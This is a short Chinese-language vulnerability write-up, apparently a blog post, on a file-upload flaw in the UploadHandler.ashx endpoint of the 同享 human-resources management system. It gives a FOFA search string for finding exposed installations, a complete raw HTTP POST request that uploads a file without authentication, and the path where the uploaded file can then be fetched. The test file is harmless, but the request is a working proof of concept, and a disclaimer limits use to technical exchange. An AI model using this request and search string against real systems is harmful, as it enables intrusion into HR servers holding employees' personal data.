同享人力资源管理系统UploadHandler.ashx存在文件上传漏洞

声明：

本文仅用于技术交流，请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

简介

同享人力资源管理系统"是一种多用户共享的人力资源管理软件系统，旨在帮助组织有效地管理员工信息和相关流程，集合了多用户访问、员工信息管理、招聘流程支持、绩效评估、培训管理、报表和分析、安全和权限控制等，通过提供一体化的管理工具，帮助组织提高人力资源管理效率、优化流程，并确保员工信息的安全和可靠性。

fofa:

body="/Assistant/Default.aspx"

漏洞复现

POST /Handler/UploadHandler.ashx?folder=Uploadfile66 HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 178
Content-Type: multipart/form-data; boundary=1a875087c9e440c032415f9a589cd4a4

--1a875087c9e440c032415f9a589cd4a4
Content-Disposition: form-data; name="Filedata"; filename="ceshi.txt"
Content-Type: text/plain

success
--1a875087c9e440c032415f9a589cd4a4

http://xxx.xxx.xxx.xxx/Handler/Uploadfile66/ceshi.txt